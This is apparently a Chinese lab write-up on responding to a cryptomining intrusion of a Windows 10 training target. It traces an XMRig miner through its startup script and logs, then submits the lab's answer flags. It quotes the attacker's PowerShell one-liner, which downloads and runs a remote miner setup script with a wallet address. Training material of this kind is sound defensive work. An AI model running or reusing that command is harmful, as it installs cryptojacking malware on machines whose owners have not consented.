应急响应——知攻善防挖矿事件应急溯源详细过程

本次针对挖矿靶机开展应急响应,通过日志分析与进程排查,完整还原攻击链路,明确入侵方式与危害,为后续安全加固提供依据。

文章目录

    • 靶机简介
    • 溯源过程
    • 答题flag
      • [1. 攻击者的IP地址](#1. 攻击者的IP地址)
      • [2. 攻击者开始攻击的时间](#2. 攻击者开始攻击的时间)
      • [3. 攻击者攻击的端口](#3. 攻击者攻击的端口)
      • [4. 挖矿程序的md5](#4. 挖矿程序的md5)
      • [5. 后门脚本的md5](#5. 后门脚本的md5)
      • [6. 矿池地址](#6. 矿池地址)
      • [7. 钱包地址](#7. 钱包地址)
      • [8. 攻击者是如何攻击进入的](#8. 攻击者是如何攻击进入的)
      • 提交题解
    • 总结

靶机简介

前景需要:机房运维小陈,下班后发现还有工作没完成,然后上机器越用越卡,请你帮他看看原因。

挑战题解

  1. 攻击者的IP地址
  2. 攻击者开始攻击的时间
  3. 攻击者攻击的端口
  4. 挖矿程序的md5
  5. 后门脚本的md5
  6. 矿池地址
  7. 钱包地址
  8. 攻击者是如何攻击进入的

解题:运行桌面上的解题工具即可

直接Vmware打开即可,如若打不开,请使用最新版本Vmware

相关账户密码:Administrator / zgsf@123

话不多说,直接开始;


溯源过程

打开靶机,我们发现这是一台Windows 10的服务器:

进入到靶机,既然是"机器越用越开",那肯定得从进程以及端口服务看起:

查找系统文件夹

打开任务管理器,发现一个XMRig miner的进程占用了大部分的CPU资源:

打开文件所在位置:C:\Users\Administrator\c3pool

尝试结束进程,发现又立刻重启,所以只能先找到启动它的源头;(发现了一个.bat脚本文件)

bash 复制代码
miner.bat - 记事本
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

@echo off
tasklist /fi "imagename eq xmrig.exe" | find ":" > NUL
if errorlevel 1 goto ALREADY_RUNNING
start /low ~dp0xmrig.exe %*
goto EXIT
:ALREADY_RUNNING
echo Monero miner is already running in the background. Refusing to run another one.
echo Run "taskkill /IM xmrig.exe" if you want to remove background miner first.
:EXIT

该脚本作用:这是一个Monero(门罗币)挖矿程序的启动脚本,主要功能是:检查挖矿进程是否已在运行,避免重复启动多个挖矿程序占用系统资源。

  • 检测系统中xmrig.exe(门罗币挖矿进程)的运行状态
  • 未运行→以低优先级启动同目录下的该挖矿进程
  • 已运行→输出提示拒绝重复启动,并给出进程终止指令echo Run "taskkill /IM xmrig.exe"

开机启动项 / 计划任务排查

这里我们上传工具帮助查找:

C:\Users\Administrator\AppData 发现了攻击者远程下载恶意程序的.bat脚本:

内容如下:

bash 复制代码
powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile); & $tempfile 4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y; Remove-Item -Force $tempfile"

作用:

  1. 初始化组件创建.NET WebClient对象,用于网络文件下载;
  2. 生成临时文件:通过系统API获取临时文件路径,追加.bat后缀,构建批处理临时文件;
  3. 远程下载执行:从指定URL下载挖矿批处理脚本到临时文件,传递门罗币钱包地址作为参数执行该脚本;
  4. 清理痕迹:执行完成后强制删除临时批处理文件,清除执行痕迹。

一句话总结

通过PowerShell调用.NET组件下载远程挖矿脚本,传入钱包地址执行后自动删除临时文件,实现无文件落地式挖矿程序部署。

至此,我们可以知道攻击者在入侵服务器后,远程下载了恶意挖矿程序,并且设置了一个开机自启动的.bat脚本来执行;


日志排查

回到桌面,发现了向日葵远程和DMZ主机的账号密码:


这里我们可以尝试查找他们的日志,来判断攻击者进入的时间以及手段;(优先于系统日志)

但很显然失败了:

这里我们开始系统日志的排查:

应急响应里,Windows 最核心、必查的三大系统日志是:

  • 系统日志(System)
  • 安全日志(Security)
  • 应用程序日志(Application)

所以我们首先查看"安全日志",在登陆失败和成功的记录中,我们得到如下信息:

可以看到:

  • 受害主机收到来自 192.168.115.131NTLM 远程认证请求 ,使用 administrator 账户,认证失败(4625)
  • 行为判定:横向移动尝试 / 远程登录爆破

并且还创建了隐藏用户:MINWINPC$

(但是已经被删除了,只留下了记录;)

同时还发现了powershell的执行命令记录:

攻击链还原:攻击者通过远程桌面登陆进入服务器,并创建隐藏用户MINWINPC$;

答题flag

根据上述我们的答题过程,具体攻击路径还原如下:

bash 复制代码
1. 攻击者于2024-05-21 20:25:22,通过NTLM认证对目标主机发起远程登录尝试,尝试使用`administrator`账户登录。
↓
2. 攻击者成功获取主机权限后,执行PowerShell恶意命令,从远程地址下载挖矿脚本。
↓
3. 攻击者执行挖矿脚本,在目标主机部署`xmrig`门罗币挖矿程序。
↓
4. 攻击者创建计划任务,实现挖矿程序的开机自启与周期执行,维持持久化驻留。
↓
5. 挖矿程序启动后持续占用系统CPU资源,导致主机性能下降,形成挖矿入侵事件。

1. 攻击者的IP地址

具体部分在"日志排查",可以知道攻击者IP为:192.168.115.131

2. 攻击者开始攻击的时间

同上图,具体部分在"日志排查",登陆失败日志显示攻击时间为:2024/5/21 20:25:22

3. 攻击者攻击的端口

具体部分在"日志排查",可以知道登陆的方式为RDP远程登陆 ,而端口则为3389

4. 挖矿程序的md5

具体部分在"查找系统文件夹",挖矿程序的具体路径为:C:\Users\Administrator\c3pool,而其hash值可以使用命令得到:

bash 复制代码
certutil -hashfile C:\Users\Administrator\c3pool\xmrig.exe MD5

结果如下:4e8d73bdcb2760dfe3cbbf60b8f2bd8c

这里可能是我把原来的删除了,然后重新下载,导致md5值不对,所以正确的hash值为:a79d49f425f95e70ddf0c68c18abc564

5. 后门脚本的md5

具体部分在"开机启动项 / 计划任务排查",在C:\Users\Administrator\AppData 发现了攻击者远程下载恶意程序的.bat脚本:

尝试点击执行下载,就会发现他会从远程网址下载到本地并执行:

命令还是一样:

bash 复制代码
certutil -hashfile C:\Users\Administrator\AppData\systems.bat MD5

结果如下:8414900f4c896964497c2cf6552ec4b9

6. 矿池地址

上述各个部分都有提及矿池地址,我们可以找到配置文件:进入 C:\Users\Administrator\c3pool 目录,打开 config.json(xmrig.exe 的配置文件)

经过测试,只需要保留顶级域名c3pool.org

7. 钱包地址

钱包位置:在 config.json 中找到"user"字段,其值即为钱包地址:

得到结果:4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y

8. 攻击者是如何攻击进入的

具体部分在"日志排查":


根据上述很容易知道:击者通过 暴力破解RDP(3389端口)密码,猜解出 Administrator/zgsf@123 后,远程登录系统,随后植入后门脚本与挖矿程序。

提交题解

结果如下:

bash 复制代码
C:\Users\Administrator\Desktop>解题系统.exe
欢迎使用 知攻善防实验室 解题系统
在解题之前,请先确保您得到以下答案:
1.攻击者开始攻击的时间
2.攻击者的ip地址
3.攻击者攻击的端口
4.挖矿程序的md5
5.后门脚本的md5
6.矿池地址(仅域名)
7.攻击者的钱包地址
8.攻击者是如何攻击进入的
你准备好了吗?(y/n):y
请输入攻击者开始攻击的时间(格式:xxxx-xx-xx xx:xx:xx):2024-05-21 20:25:22
正确!!!
请输入攻击者的IP地址:192.168.115.131
正确!!!
请输入攻击者攻击的端口(格式:xxxx):3389
正确!!!
请输入挖矿程序的md5:A79D49F425F95E70DDF0C68C18ABC564
正确!!!
请输入后门程序md5:8414900F4C896964497C2CF6552EC4B9
正确!!!
请输入矿池地址(仅顶级域名):c3pool.org
正确!!!
请输入攻击者钱包地址:4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y
正确!!!
请输入攻击者是如何攻击进入的(格式:XXXX):暴力破解
正确!!!
恭喜你,您已成功攻克此靶机
恭喜你,您已成功攻克此靶机
恭喜你,您已成功攻克此靶机
恭喜你,您已成功攻克此靶机
恭喜你,您已成功攻克此靶机
请按任意键继续. . .

总结

期待下次再见;

相关推荐
青柠代码录2 小时前
【MySQL】常用命令手册
数据库·mysql
西装没钱买2 小时前
QT组播的建立和使用(绑定特定的网卡,绑定特定IP)
网络·c++·qt·udp·udp组播
琢磨先生David2 小时前
数据库实例(Database Instance)是什么?
数据库
幻乐星空2 小时前
【Oracle实战】Windows Server下Oracle归档日志满与磁盘空间告急的协同处理实战
数据库·windows·oracle
行者-全栈开发2 小时前
国产数据库发展图谱:技术路线与市场竞争格局
数据库·系统架构·集群部署·信创适配·国产化数据库·技术路线
杨云龙UP2 小时前
Oracle 19c RAC多节点运行状态最简排查指南_20260316
linux·运维·服务器·数据库·sql·oracle
qq_404265832 小时前
Django全栈开发入门:构建一个博客系统
jvm·数据库·python
独自破碎E3 小时前
MySQL的三层B+树能存多少数据?
数据库·b树·mysql